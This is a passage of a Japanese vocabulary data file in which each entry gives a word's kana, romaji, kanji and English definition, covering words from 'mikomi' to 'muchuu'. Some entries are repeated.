moon\"\n\t},\n\n\t{\n\t\t'kana':'みこみ',\n\t\t'romaji':'mikomi',\n\t\t'kanji':'見込み',\n\t\t'definition':\"hope;prospects;expectation\"\n\t},\n\n\t{\n\t\t'kana':'みこん',\n\t\t'romaji':'mikon',\n\t\t'kanji':'未婚',\n\t\t'definition':\"unmarried\"\n\t},\n\n\t{\n\t\t'kana':'みまい',\n\t\t'romaji':'mimai',\n\t\t'kanji':'見舞',\n\t\t'definition':\"enquiry;expression of sympathy;expression of concern\"\n\t},\n\n\t{\n\t\t'kana':'みまん',\n\t\t'romaji':'miman',\n\t\t'kanji':'未満',\n\t\t'definition':\"less than;insufficient\"\n\t},\n\n\t{\n\t\t'kana':'みまう',\n\t\t'romaji':'mimau',\n\t\t'kanji':'見舞う',\n\t\t'definition':\"to ask after (health);to visit\"\n\t},\n\n\t{\n\t\t'kana':'みみ',\n\t\t'romaji':'mimi',\n\t\t'kanji':'耳',\n\t\t'definition':\"ear\"\n\t},\n\n\t{\n\t\t'kana':'みな',\n\t\t'romaji':'mina',\n\t\t'kanji':'皆',\n\t\t'definition':\"all;everyone;everybody\"\n\t},\n\n\t{\n\t\t'kana':'みなもと',\n\t\t'romaji':'minamoto',\n\t\t'kanji':'源',\n\t\t'definition':\"source;origin\"\n\t},\n\n\t{\n\t\t'kana':'みなおす',\n\t\t'romaji':'minaosu',\n\t\t'kanji':'見直す',\n\t\t'definition':\"to look again;to get a better opinion of\"\n\t},\n\n\t{\n\t\t'kana':'みならう',\n\t\t'romaji':'minarau',\n\t\t'kanji':'見習う',\n\t\t'definition':\"to follow another's example\"\n\t},\n\n\t{\n\t\t'kana':'みなれる',\n\t\t'romaji':'minareru',\n\t\t'kanji':'見慣れる',\n\t\t'definition':\"to become used to seeing;to be familiar with\"\n\t},\n\n\t{\n\t\t'kana':'みなり',\n\t\t'romaji':'minari',\n\t\t'kanji':'身なり',\n\t\t'definition':\"personal appearance\"\n\t},\n\n\t{\n\t\t'kana':'みなと',\n\t\t'romaji':'minato',\n\t\t'kanji':'港',\n\t\t'definition':\"harbour;port\"\n\t},\n\n\t{\n\t\t'kana':'みなと',\n\t\t'romaji':'minato',\n\t\t'kanji':'港',\n\t\t'definition':\"harbour;port\"\n\t},\n\n\t{\n\t\t'kana':'みね',\n\t\t'romaji':'mine',\n\t\t'kanji':'峰',\n\t\t'definition':\"peak;ridge\"\n\t},\n\n\t{\n\t\t'kana':'みにくい',\n\t\t'romaji':'minikui',\n\t\t'kanji':'醜い',\n\t\t'definition':\"ugly\"\n\t},\n\n\t{\n\t\t'kana':'みんかん',\n\t\t'romaji':'minkan',\n\t\t'kanji':'民間',\n\t\t'definition':\"private;civilian;civil;popular;folk;unofficial\"\n\t},\n\n\t{\n\t\t'kana':'みのがす',\n\t\t'romaji':'minogasu',\n\t\t'kanji':'見逃す',\n\t\t'definition':\"to miss;to overlook;to leave at large\"\n\t},\n\n\t{\n\t\t'kana':'みのまわり',\n\t\t'romaji':'minomawari',\n\t\t'kanji':'身の回り',\n\t\t'definition':\"one's personal appearance;personal belongings\"\n\t},\n\n\t{\n\t\t'kana':'みのる',\n\t\t'romaji':'minoru',\n\t\t'kanji':'実る',\n\t\t'definition':\"to bear fruit;to ripen\"\n\t},\n\n\t{\n\t\t'kana':'みのうえ',\n\t\t'romaji':'minoue',\n\t\t'kanji':'身の上',\n\t\t'definition':\"one's future;one's welfare;one's personal history\"\n\t},\n\n\t{\n\t\t'kana':'みんしゅ',\n\t\t'romaji':'minshu',\n\t\t'kanji':'民主',\n\t\t'definition':\"democratic;the head of the nation\"\n\t},\n\n\t{\n\t\t'kana':'みんしゅく',\n\t\t'romaji':'minshuku',\n\t\t'kanji':'民宿',\n\t\t'definition':\"private home providing lodging for travelers\"\n\t},\n\n\t{\n\t\t'kana':'みんよう',\n\t\t'romaji':'minyou',\n\t\t'kanji':'民謡',\n\t\t'definition':\"folk song;popular song\"\n\t},\n\n\t{\n\t\t'kana':'みんぞく',\n\t\t'romaji':'minzoku',\n\t\t'kanji':'民俗',\n\t\t'definition':\"people;race;nation;racial customs;folk customs\"\n\t},\n\n\t{\n\t\t'kana':'みんぞく',\n\t\t'romaji':'minzoku',\n\t\t'kanji':'民族',\n\t\t'definition':\"people;race;nation;racial customs;folk customs\"\n\t},\n\n\t{\n\t\t'kana':'みおくり',\n\t\t'romaji':'miokuri',\n\t\t'kanji':'見送り',\n\t\t'definition':\"seeing one off;farewell;escort\"\n\t},\n\n\t{\n\t\t'kana':'みおくる',\n\t\t'romaji':'miokuru',\n\t\t'kanji':'見送る',\n\t\t'definition':\"1. to see off;to farewell; 2. to escort; 3. to let pass;to wait and see; 4. to let a pitch go by (baseball);to watch a batted ball go into the stands\"\n\t},\n\n\t{\n\t\t'kana':'みおろす',\n\t\t'romaji':'miorosu',\n\t\t'kanji':'見下ろす',\n\t\t'definition':\"to overlook;to command a view of;to look down on something\"\n\t},\n\n\t{\n\t\t'kana':'みおとす',\n\t\t'romaji':'miotosu',\n\t\t'kanji':'見落とす',\n\t\t'definition':\"to overlook;to fail to notice\"\n\t},\n\n\t{\n\t\t'kana':'みらい',\n\t\t'romaji':'mirai',\n\t\t'kanji':'未来',\n\t\t'definition':\"future (life tense)\"\n\t},\n\n\t{\n\t\t'kana':'みれん',\n\t\t'romaji':'miren',\n\t\t'kanji':'未練',\n\t\t'definition':\"lingering affection;attachment;regret(s);reluctance\"\n\t},\n\n\t{\n\t\t'kana':'ミリ',\n\t\t'romaji':'miri',\n\t\t'kanji':'',\n\t\t'definition':\"milli-;10^-3\"\n\t},\n\n\t{\n\t\t'kana':'みる',\n\t\t'romaji':'miru',\n\t\t'kanji':'診る',\n\t\t'definition':\"to examine\"\n\t},\n\n\t{\n\t\t'kana':'みる',\n\t\t'romaji':'miru',\n\t\t'kanji':'見る',\n\t\t'definition':\"to see;to watch\"\n\t},\n\n\t{\n\t\t'kana':'ミルク',\n\t\t'romaji':'miruku',\n\t\t'kanji':'',\n\t\t'definition':\"milk\"\n\t},\n\n\t{\n\t\t'kana':'みりょく',\n\t\t'romaji':'miryoku',\n\t\t'kanji':'魅力',\n\t\t'definition':\"charm;fascination;glamour\"\n\t},\n\n\t{\n\t\t'kana':'みさき',\n\t\t'romaji':'misaki',\n\t\t'kanji':'岬',\n\t\t'definition':\"cape (on coast)\"\n\t},\n\n\t{\n\t\t'kana':'みせびらかす',\n\t\t'romaji':'misebirakasu',\n\t\t'kanji':'見せびらかす',\n\t\t'definition':\"to show off;to flaunt\"\n\t},\n\n\t{\n\t\t'kana':'みせもの',\n\t\t'romaji':'misemono',\n\t\t'kanji':'見せ物',\n\t\t'definition':\"show;exhibition\"\n\t},\n\n\t{\n\t\t'kana':'みせる',\n\t\t'romaji':'miseru',\n\t\t'kanji':'見せる',\n\t\t'definition':\"to show;to display\"\n\t},\n\n\t{\n\t\t'kana':'ミセス',\n\t\t'romaji':'misesu',\n\t\t'kanji':'',\n\t\t'definition':\"Mrs.\"\n\t},\n\n\t{\n\t\t'kana':'みせや',\n\t\t'romaji':'miseya',\n\t\t'kanji':'店屋',\n\t\t'definition':\"store;shop\"\n\t},\n\n\t{\n\t\t'kana':'ミシン',\n\t\t'romaji':'mishin',\n\t\t'kanji':'',\n\t\t'definition':\"sewing machine\"\n\t},\n\n\t{\n\t\t'kana':'みっしゅう',\n\t\t'romaji':'mishuu',\n\t\t'kanji':'密集',\n\t\t'definition':\"crowd;close formation;dense\"\n\t},\n\n\t{\n\t\t'kana':'みそ',\n\t\t'romaji':'miso',\n\t\t'kanji':'味噌',\n\t\t'definition':\"miso;bean paste;key (main) point\"\n\t},\n\n\t{\n\t\t'kana':'みっせつ',\n\t\t'romaji':'missetsu',\n\t\t'kanji':'密接',\n\t\t'definition':\"related;connected;close;intimate\"\n\t},\n\n\t{\n\t\t'kana':'ミス',\n\t\t'romaji':'misu',\n\t\t'kanji':'',\n\t\t'definition':\"miss (mistake error failure);Miss;myth;MIS (management information system)\"\n\t},\n\n\t{\n\t\t'kana':'ミス',\n\t\t'romaji':'misu',\n\t\t'kanji':'',\n\t\t'definition':\"miss (mistake error failure);Miss;myth;MIS (management information system)\"\n\t},\n\n\t{\n\t\t'kana':'みすぼらしい',\n\t\t'romaji':'misuborashii',\n\t\t'kanji':'見すぼらしい',\n\t\t'definition':\"shabby;seedy\"\n\t},\n\n\t{\n\t\t'kana':'ミスプリント',\n\t\t'romaji':'misupurinto',\n\t\t'kanji':'',\n\t\t'definition':\"misprint\"\n\t},\n\n\t{\n\t\t'kana':'みたす',\n\t\t'romaji':'mitasu',\n\t\t'kanji':'満たす',\n\t\t'definition':\"to satisfy;to ingratiate;to fill;to fulfill\"\n\t},\n\n\t{\n\t\t'kana':'みてい',\n\t\t'romaji':'mitei',\n\t\t'kanji':'未定',\n\t\t'definition':\"not yet fixed;undecided;pending\"\n\t},\n\n\t{\n\t\t'kana':'みとおし',\n\t\t'romaji':'mitooshi',\n\t\t'kanji':'見通し',\n\t\t'definition':\"perspective;unobstructed view;outlook;forecast;prospect;insight\"\n\t},\n\n\t{\n\t\t'kana':'みつ',\n\t\t'romaji':'mitsu',\n\t\t'kanji':'蜜',\n\t\t'definition':\"nectar;honey\"\n\t},\n\n\t{\n\t\t'kana':'みっつ',\n\t\t'romaji':'mitsu',\n\t\t'kanji':'三つ',\n\t\t'definition':\"three\"\n\t},\n\n\t{\n\t\t'kana':'みつど',\n\t\t'romaji':'mitsudo',\n\t\t'kanji':'密度',\n\t\t'definition':\"density\"\n\t},\n\n\t{\n\t\t'kana':'みつかる',\n\t\t'romaji':'mitsukaru',\n\t\t'kanji':'見付かる',\n\t\t'definition':\"to be found;to be discovered\"\n\t},\n\n\t{\n\t\t'kana':'みつける',\n\t\t'romaji':'mitsukeru',\n\t\t'kanji':'見付ける',\n\t\t'definition':\"to be familiar;to discover;to find fault;to detect;to find out;to locate\"\n\t},\n\n\t{\n\t\t'kana':'みつめる',\n\t\t'romaji':'mitsumeru',\n\t\t'kanji':'見詰める',\n\t\t'definition':\"to stare at;to gaze at;to look hard at;to watch intently;to fix one's eyes on\"\n\t},\n\n\t{\n\t\t'kana':'みつもり',\n\t\t'romaji':'mitsumori',\n\t\t'kanji':'見積り',\n\t\t'definition':\"estimation;quotation\"\n\t},\n\n\t{\n\t\t'kana':'みっともない',\n\t\t'romaji':'mittomonai',\n\t\t'kanji':'見っともない',\n\t\t'definition':\"shameful;indecent\"\n\t},\n\n\t{\n\t\t'kana':'みわたす',\n\t\t'romaji':'miwatasu',\n\t\t'kanji':'見渡す',\n\t\t'definition':\"to look out over;to survey (scene);to take an extensive view of\"\n\t},\n\n\t{\n\t\t'kana':'みず',\n\t\t'romaji':'mizu',\n\t\t'kanji':'水',\n\t\t'definition':\"water\"\n\t},\n\n\t{\n\t\t'kana':'みずぎ',\n\t\t'romaji':'mizugi',\n\t\t'kanji':'水着',\n\t\t'definition':\"bathing suit (woman's)\"\n\t},\n\n\t{\n\t\t'kana':'みずから',\n\t\t'romaji':'mizukara',\n\t\t'kanji':'自ら',\n\t\t'definition':\"for one's self;personally\"\n\t},\n\n\t{\n\t\t'kana':'みずうみ',\n\t\t'romaji':'mizuumi',\n\t\t'kanji':'湖',\n\t\t'definition':\"lake\"\n\t},\n\n\t{\n\t\t'kana':'みずうみ',\n\t\t'romaji':'mizuumi',\n\t\t'kanji':'湖',\n\t\t'definition':\"lake\"\n\t},\n\n\t{\n\t\t'kana':'もち',\n\t\t'romaji':'mochi',\n\t\t'kanji':'持ち',\n\t\t'definition':\"1. hold;charge;keep possession;in charge; 2. wear;durability;life;draw; 3. usage (suff)\"\n\t},\n\n\t{\n\t\t'kana':'もち',\n\t\t'romaji':'mochi',\n\t\t'kanji':'持ち',\n\t\t'definition':\"1. hold;charge;keep possession;in charge; 2. wear;durability;life;draw; 3. usage (suff)\"\n\t},\n\n\t{\n\t\t'kana':'もちあげる',\n\t\t'romaji':'mochiageru',\n\t\t'kanji':'持ち上げる',\n\t\t'definition':\"to raise;to lift up;to flatter\"\n\t},\n\n\t{\n\t\t'kana':'もちいる',\n\t\t'romaji':'mochiiru',\n\t\t'kanji':'用いる',\n\t\t'definition':\"to use;to make use of\"\n\t},\n\n\t{\n\t\t'kana':'もちきり',\n\t\t'romaji':'mochikiri',\n\t\t'kanji':'持ち切り',\n\t\t'definition':\"hot topic;talk of the town\"\n\t},\n\n\t{\n\t\t'kana':'もちろん',\n\t\t'romaji':'mochiron',\n\t\t'kanji':'勿論',\n\t\t'definition':\"of course;certainly;naturally\"\n\t},\n\n\t{\n\t\t'kana':'モダン',\n\t\t'romaji':'modan',\n\t\t'kanji':'',\n\t\t'definition':\"modern\"\n\t},\n\n\t{\n\t\t'kana':'モデル',\n\t\t'romaji':'moderu',\n\t\t'kanji':'',\n\t\t'definition':\"model\"\n\t},\n\n\t{\n\t\t'kana':'もどる',\n\t\t'romaji':'modoru',\n\t\t'kanji':'戻る',\n\t\t'definition':\"to turn back;to return\"\n\t},\n\n\t{\n\t\t'kana':'もどす',\n\t\t'romaji':'modosu',\n\t\t'kanji':'戻す',\n\t\t'definition':\"to restore;to put back;to return\"\n\t},\n\n\t{\n\t\t'kana':'もえる',\n\t\t'romaji':'moeru',\n\t\t'kanji':'燃える',\n\t\t'definition':\"to burn\"\n\t},\n\n\t{\n\t\t'kana':'もがく',\n\t\t'romaji':'mogaku',\n\t\t'kanji':'藻掻く',\n\t\t'definition':\"to struggle;to wriggle;to be impatient\"\n\t},\n\n\t{\n\t\t'kana':'もはん',\n\t\t'romaji':'mohan',\n\t\t'kanji':'模範',\n\t\t'definition':\"exemplar;exemplification;exemplum;model;example\"\n\t},\n\n\t{\n\t\t'kana':'もはや',\n\t\t'romaji':'mohaya',\n\t\t'kanji':'最早',\n\t\t'definition':\"already;now\"\n\t},\n\n\t{\n\t\t'kana':'もほう',\n\t\t'romaji':'mohou',\n\t\t'kanji':'模倣',\n\t\t'definition':\"imitation;copying\"\n\t},\n\n\t{\n\t\t'kana':'もじ',\n\t\t'romaji':'moji',\n\t\t'kanji':'文字',\n\t\t'definition':\"letter (of alphabet);character\"\n\t},\n\n\t{\n\t\t'kana':'もけい',\n\t\t'romaji':'mokei',\n\t\t'kanji':'模型',\n\t\t'definition':\"model;dummy;maquette\"\n\t},\n\n\t{\n\t\t'kana':'もくひょう',\n\t\t'romaji':'mokuhyou',\n\t\t'kanji':'目標',\n\t\t'definition':\"mark;objective;target\"\n\t},\n\n\t{\n\t\t'kana':'もくじ',\n\t\t'romaji':'mokuji',\n\t\t'kanji':'目次',\n\t\t'definition':\"table of contents\"\n\t},\n\n\t{\n\t\t'kana':'もくろく',\n\t\t'romaji':'mokuroku',\n\t\t'kanji':'目録',\n\t\t'definition':\"catalogue;catalog;list\"\n\t},\n\n\t{\n\t\t'kana':'もくろみ',\n\t\t'romaji':'mokuromi',\n\t\t'kanji':'目論見',\n\t\t'definition':\"a plan;a scheme;a project;a program;intention;goal\"\n\t},\n\n\t{\n\t\t'kana':'もくてき',\n\t\t'romaji':'mokuteki',\n\t\t'kanji':'目的',\n\t\t'definition':\"purpose;goal;aim;objective;intention\"\n\t},\n\n\t{\n\t\t'kana':'もくよう',\n\t\t'romaji':'mokuyou',\n\t\t'kanji':'木曜',\n\t\t'definition':\"Thursday\"\n\t},\n\n\t{\n\t\t'kana':'もくざい',\n\t\t'romaji':'mokuzai',\n\t\t'kanji':'木材',\n\t\t'definition':\"lumber;timber;wood\"\n\t},\n\n\t{\n\t\t'kana':'もめる',\n\t\t'romaji':'momeru',\n\t\t'kanji':'揉める',\n\t\t'definition':\"to disagree;to dispute\"\n\t},\n\n\t{\n\t\t'kana':'もも',\n\t\t'romaji':'momo',\n\t\t'kanji':'腿',\n\t\t'definition':\"thigh;femur\"\n\t},\n\n\t{\n\t\t'kana':'もむ',\n\t\t'romaji':'momu',\n\t\t'kanji':'揉む',\n\t\t'definition':\"to rub;to crumple (up);to wrinkle;to massage;to be troubled about;to worry over;to train;to coach\"\n\t},\n\n\t{\n\t\t'kana':'もん',\n\t\t'romaji':'mon',\n\t\t'kanji':'問',\n\t\t'definition':\"problem;question\"\n\t},\n\n\t{\n\t\t'kana':'もんだい',\n\t\t'romaji':'mondai',\n\t\t'kanji':'問題',\n\t\t'definition':\"problem;question\"\n\t},\n\n\t{\n\t\t'kana':'もんどう',\n\t\t'romaji':'mondou',\n\t\t'kanji':'問答',\n\t\t'definition':\"questions and answers;dialogue\"\n\t},\n\n\t{\n\t\t'kana':'モニター',\n\t\t'romaji':'monita-',\n\t\t'kanji':'',\n\t\t'definition':\"(computer) monitor\"\n\t},\n\n\t{\n\t\t'kana':'もんく',\n\t\t'romaji':'monku',\n\t\t'kanji':'文句',\n\t\t'definition':\"phrase;complaint\"\n\t},\n\n\t{\n\t\t'kana':'もの',\n\t\t'romaji':'mono',\n\t\t'kanji':'物',\n\t\t'definition':\"thing;object\"\n\t},\n\n\t{\n\t\t'kana':'もの',\n\t\t'romaji':'mono',\n\t\t'kanji':'者',\n\t\t'definition':\"person\"\n\t},\n\n\t{\n\t\t'kana':'もの',\n\t\t'romaji':'mono',\n\t\t'kanji':'物',\n\t\t'definition':\"thing;object\"\n\t},\n\n\t{\n\t\t'kana':'もの',\n\t\t'romaji':'mono',\n\t\t'kanji':'物',\n\t\t'definition':\"thing;object\"\n\t},\n\n\t{\n\t\t'kana':'ものがたり',\n\t\t'romaji':'monogatari',\n\t\t'kanji':'物語',\n\t\t'definition':\"tale;story;legend\"\n\t},\n\n\t{\n\t\t'kana':'ものがたる',\n\t\t'romaji':'monogataru',\n\t\t'kanji':'物語る',\n\t\t'definition':\"to tell;to indicate\"\n\t},\n\n\t{\n\t\t'kana':'ものごと',\n\t\t'romaji':'monogoto',\n\t\t'kanji':'物事',\n\t\t'definition':\"things;everything\"\n\t},\n\n\t{\n\t\t'kana':'ものおき',\n\t\t'romaji':'monooki',\n\t\t'kanji':'物置き',\n\t\t'definition':\"storeroom\"\n\t},\n\n\t{\n\t\t'kana':'ものおと',\n\t\t'romaji':'monooto',\n\t\t'kanji':'物音',\n\t\t'definition':\"sounds\"\n\t},\n\n\t{\n\t\t'kana':'モノレール',\n\t\t'romaji':'monore-ru',\n\t\t'kanji':'',\n\t\t'definition':\"monorail\"\n\t},\n\n\t{\n\t\t'kana':'ものさし',\n\t\t'romaji':'monosashi',\n\t\t'kanji':'物差し',\n\t\t'definition':\"ruler;measure\"\n\t},\n\n\t{\n\t\t'kana':'ものすごい',\n\t\t'romaji':'monosugoi',\n\t\t'kanji':'物凄い',\n\t\t'definition':\"earth-shattering;staggering;to a very great extent\"\n\t},\n\n\t{\n\t\t'kana':'ものたりない',\n\t\t'romaji':'monotarinai',\n\t\t'kanji':'物足りない',\n\t\t'definition':\"unsatisfied;unsatisfactory\"\n\t},\n\n\t{\n\t\t'kana':'ものずき',\n\t\t'romaji':'monozuki',\n\t\t'kanji':'物好き',\n\t\t'definition':\"curiosity\"\n\t},\n\n\t{\n\t\t'kana':'もっぱら',\n\t\t'romaji':'moppara',\n\t\t'kanji':'専ら',\n\t\t'definition':\"wholly;solely;entirely\"\n\t},\n\n\t{\n\t\t'kana':'もらす',\n\t\t'romaji':'morasu',\n\t\t'kanji':'漏らす',\n\t\t'definition':\"to let leak;to reveal\"\n\t},\n\n\t{\n\t\t'kana':'もらう',\n\t\t'romaji':'morau',\n\t\t'kanji':'貰う',\n\t\t'definition':\"to receive\"\n\t},\n\n\t{\n\t\t'kana':'もれる',\n\t\t'romaji':'moreru',\n\t\t'kanji':'漏れる',\n\t\t'definition':\"to leak out;to escape;to come through;to shine through;to filter out;to be omitted\"\n\t},\n\n\t{\n\t\t'kana':'もり',\n\t\t'romaji':'mori',\n\t\t'kanji':'森',\n\t\t'definition':\"forest\"\n\t},\n\n\t{\n\t\t'kana':'もりあがる',\n\t\t'romaji':'moriagaru',\n\t\t'kanji':'盛り上がる',\n\t\t'definition':\"to rouse;to swell;to rise\"\n\t},\n\n\t{\n\t\t'kana':'もろい',\n\t\t'romaji':'moroi',\n\t\t'kanji':'脆い',\n\t\t'definition':\"brittle;fragile;tender-hearted\"\n\t},\n\n\t{\n\t\t'kana':'もろに',\n\t\t'romaji':'moroni',\n\t\t'kanji':'',\n\t\t'definition':\"completely;all the way\"\n\t},\n\n\t{\n\t\t'kana':'もる',\n\t\t'romaji':'moru',\n\t\t'kanji':'漏る',\n\t\t'definition':\"to leak;to run out\"\n\t},\n\n\t{\n\t\t'kana':'もさく',\n\t\t'romaji':'mosaku',\n\t\t'kanji':'模索',\n\t\t'definition':\"groping (for)\"\n\t},\n\n\t{\n\t\t'kana':'もし',\n\t\t'romaji':'moshi',\n\t\t'kanji':'若し',\n\t\t'definition':\"if;in case;supposing\"\n\t},\n\n\t{\n\t\t'kana':'もしかしたら',\n\t\t'romaji':'moshikashitara',\n\t\t'kanji':'若しかしたら',\n\t\t'definition':\"perhaps;maybe;by some chance\"\n\t},\n\n\t{\n\t\t'kana':'もしかして',\n\t\t'romaji':'moshikashite',\n\t\t'kanji':'若しかして',\n\t\t'definition':\"perhaps;possibly\"\n\t},\n\n\t{\n\t\t'kana':'もしかすると',\n\t\t'romaji':'moshikasuruto',\n\t\t'kanji':'若しかすると',\n\t\t'definition':\"perhaps;maybe;by some chance\"\n\t},\n\n\t{\n\t\t'kana':'もしくは',\n\t\t'romaji':'moshikuha',\n\t\t'kanji':'若しくは',\n\t\t'definition':\"or;otherwise\"\n\t},\n\n\t{\n\t\t'kana':'もしも',\n\t\t'romaji':'moshimo',\n\t\t'kanji':'若しも',\n\t\t'definition':\"if\"\n\t},\n\n\t{\n\t\t'kana':'もしもし',\n\t\t'romaji':'moshimoshi',\n\t\t'kanji':'',\n\t\t'definition':\"hello (on phone)\"\n\t},\n\n\t{\n\t\t'kana':'モーター',\n\t\t'romaji':'mo-ta-',\n\t\t'kanji':'',\n\t\t'definition':\"motor\"\n\t},\n\n\t{\n\t\t'kana':'もたらす',\n\t\t'romaji':'motarasu',\n\t\t'kanji':'齎らす',\n\t\t'definition':\"to bring;to take;to bring about\"\n\t},\n\n\t{\n\t\t'kana':'もたれる',\n\t\t'romaji':'motareru',\n\t\t'kanji':'凭れる',\n\t\t'definition':\"to lean against;to lean on;to recline on;to lie heavy (on the stomach)\"\n\t},\n\n\t{\n\t\t'kana':'もって',\n\t\t'romaji':'mote',\n\t\t'kanji':'以て',\n\t\t'definition':\"with;by;by means of;because;in view of\"\n\t},\n\n\t{\n\t\t'kana':'もてなす',\n\t\t'romaji':'motenasu',\n\t\t'kanji':'持て成す',\n\t\t'definition':\"to entertain;to make welcome\"\n\t},\n\n\t{\n\t\t'kana':'もてる',\n\t\t'romaji':'moteru',\n\t\t'kanji':'持てる',\n\t\t'definition':\"to be well liked;to be popular\"\n\t},\n\n\t{\n\t\t'kana':'モーテル',\n\t\t'romaji':'mo-teru',\n\t\t'kanji':'',\n\t\t'definition':\"motel\"\n\t},\n\n\t{\n\t\t'kana':'もと',\n\t\t'romaji':'moto',\n\t\t'kanji':'元',\n\t\t'definition':\"origin\"\n\t},\n\n\t{\n\t\t'kana':'もっと',\n\t\t'romaji':'moto',\n\t\t'kanji':'',\n\t\t'definition':\"more;longer;farther\"\n\t},\n\n\t{\n\t\t'kana':'もとづく',\n\t\t'romaji':'motoduku',\n\t\t'kanji':'基づく',\n\t\t'definition':\"to be grounded on;to be based on;to be due to;to originate from\"\n\t},\n\n\t{\n\t\t'kana':'もとい',\n\t\t'romaji':'motoi',\n\t\t'kanji':'基',\n\t\t'definition':\"basis\"\n\t},\n\n\t{\n\t\t'kana':'もとめる',\n\t\t'romaji':'motomeru',\n\t\t'kanji':'求める',\n\t\t'definition':\"to seek;to request;to demand;to want;to wish for;to search for;to pursue (pleasure);to hunt (a job);to buy\"\n\t},\n\n\t{\n\t\t'kana':'もともと',\n\t\t'romaji':'motomoto',\n\t\t'kanji':'元々',\n\t\t'definition':\"originally;by nature;from the start\"\n\t},\n\n\t{\n\t\t'kana':'もつ',\n\t\t'romaji':'motsu',\n\t\t'kanji':'持つ',\n\t\t'definition':\"to hold;to possess;to carry\"\n\t},\n\n\t{\n\t\t'kana':'もったいない',\n\t\t'romaji':'mottainai',\n\t\t'kanji':'物体ない',\n\t\t'definition':\"too good;more than one deserves;wasteful;sacrilegious;unworthy of\"\n\t},\n\n\t{\n\t\t'kana':'もっとも',\n\t\t'romaji':'mottomo',\n\t\t'kanji':'尤も',\n\t\t'definition':\"quite right;plausible;natural;but then;although\"\n\t},\n\n\t{\n\t\t'kana':'もっとも',\n\t\t'romaji':'mottomo',\n\t\t'kanji':'最も',\n\t\t'definition':\"most;extremely\"\n\t},\n\n\t{\n\t\t'kana':'もう',\n\t\t'romaji':'mou',\n\t\t'kanji':'',\n\t\t'definition':\"already;soon;more;again\"\n\t},\n\n\t{\n\t\t'kana':'もうふ',\n\t\t'romaji':'moufu',\n\t\t'kanji':'毛布',\n\t\t'definition':\"blanket\"\n\t},\n\n\t{\n\t\t'kana':'もうかる',\n\t\t'romaji':'moukaru',\n\t\t'kanji':'儲かる',\n\t\t'definition':\"to be profitable;to yield a profit\"\n\t},\n\n\t{\n\t\t'kana':'もうける',\n\t\t'romaji':'moukeru',\n\t\t'kanji':'設ける',\n\t\t'definition':\"to create;to establish\"\n\t},\n\n\t{\n\t\t'kana':'もうける',\n\t\t'romaji':'moukeru',\n\t\t'kanji':'儲ける',\n\t\t'definition':\"to get;to earn;to gain;to have (bear beget) a child\"\n\t},\n\n\t{\n\t\t'kana':'もうれつ',\n\t\t'romaji':'mouretsu',\n\t\t'kanji':'猛烈',\n\t\t'definition':\"violent;vehement;rage\"\n\t},\n\n\t{\n\t\t'kana':'もうしあげる',\n\t\t'romaji':'moushiageru',\n\t\t'kanji':'申し上げる',\n\t\t'definition':\"to say;to tell;to state\"\n\t},\n\n\t{\n\t\t'kana':'もうしぶん',\n\t\t'romaji':'moushibun',\n\t\t'kanji':'申し分',\n\t\t'definition':\"objection;shortcomings\"\n\t},\n\n\t{\n\t\t'kana':'もうしで',\n\t\t'romaji':'moushide',\n\t\t'kanji':'申出',\n\t\t'definition':\"proposal;request;claim;report;notice\"\n\t},\n\n\t{\n\t\t'kana':'もうしでる',\n\t\t'romaji':'moushideru',\n\t\t'kanji':'申し出る',\n\t\t'definition':\"to report to;to tell;to suggest;to submit;to request;to make an offer;to come forward with information\"\n\t},\n\n\t{\n\t\t'kana':'もうしいれる',\n\t\t'romaji':'moushiireru',\n\t\t'kanji':'申し入れる',\n\t\t'definition':\"to propose;to suggest\"\n\t},\n\n\t{\n\t\t'kana':'もうしこみ',\n\t\t'romaji':'moushikomi',\n\t\t'kanji':'申し込み',\n\t\t'definition':\"application;entry;request;subscription;offer;proposal;overture;challenge\"\n\t},\n\n\t{\n\t\t'kana':'もうしこむ',\n\t\t'romaji':'moushikomu',\n\t\t'kanji':'申し込む',\n\t\t'definition':\"to apply for;to make an application;to propose (marriage);to offer (mediation);to make an overture (of peace);to challenge;to lodge (objections);to request (an interview);to subscribe for;to book;to reserve\"\n\t},\n\n\t{\n\t\t'kana':'もうしわけ',\n\t\t'romaji':'moushiwake',\n\t\t'kanji':'申し訳',\n\t\t'definition':\"apology;excuse\"\n\t},\n\n\t{\n\t\t'kana':'もうしわけない',\n\t\t'romaji':'moushiwakenai',\n\t\t'kanji':'申し訳ない',\n\t\t'definition':\"inexcusable\"\n\t},\n\n\t{\n\t\t'kana':'もうす',\n\t\t'romaji':'mousu',\n\t\t'kanji':'申す',\n\t\t'definition':\"to be called;to say\"\n\t},\n\n\t{\n\t\t'kana':'もうてん',\n\t\t'romaji':'mouten',\n\t\t'kanji':'盲点',\n\t\t'definition':\"blind spot\"\n\t},\n\n\t{\n\t\t'kana':'もやす',\n\t\t'romaji':'moyasu',\n\t\t'kanji':'燃やす',\n\t\t'definition':\"to burn\"\n\t},\n\n\t{\n\t\t'kana':'もよおし',\n\t\t'romaji':'moyooshi',\n\t\t'kanji':'催し',\n\t\t'definition':\"event;festivities;function;social gathering;auspices;opening;holding (a meeting)\"\n\t},\n\n\t{\n\t\t'kana':'もよおす',\n\t\t'romaji':'moyoosu',\n\t\t'kanji':'催す',\n\t\t'definition':\"to hold (a meeting);to give (a dinner);to feel;to show signs of;to develop symptoms of;to feel (sick)\"\n\t},\n\n\t{\n\t\t'kana':'もよう',\n\t\t'romaji':'moyou',\n\t\t'kanji':'模様',\n\t\t'definition':\"pattern;figure;design\"\n\t},\n\n\t{\n\t\t'kana':'む',\n\t\t'romaji':'mu',\n\t\t'kanji':'六',\n\t\t'definition':\"(num) six\"\n\t},\n\n\t{\n\t\t'kana':'む',\n\t\t'romaji':'mu',\n\t\t'kanji':'六',\n\t\t'definition':\"(num) six\"\n\t},\n\n\t{\n\t\t'kana':'むちゃ',\n\t\t'romaji':'mucha',\n\t\t'kanji':'無茶',\n\t\t'definition':\"absurd;unreasonable;excessive;rash;absurdity;nonsense\"\n\t},\n\n\t{\n\t\t'kana':'むちゃくちゃ',\n\t\t'romaji':'muchakucha',\n\t\t'kanji':'無茶苦茶',\n\t\t'definition':\"confused;jumbled;mixed up;unreasonable\"\n\t},\n\n\t{\n\t\t'kana':'むち',\n\t\t'romaji':'muchi',\n\t\t'kanji':'無知',\n\t\t'definition':\"ignorance\"\n\t},\n\n\t{\n\t\t'kana':'むちゅう',\n\t\t'romaji':'muchuu',\n\t\t'kanji':'夢中',\n\t\t'definition':\"daze;(in a) 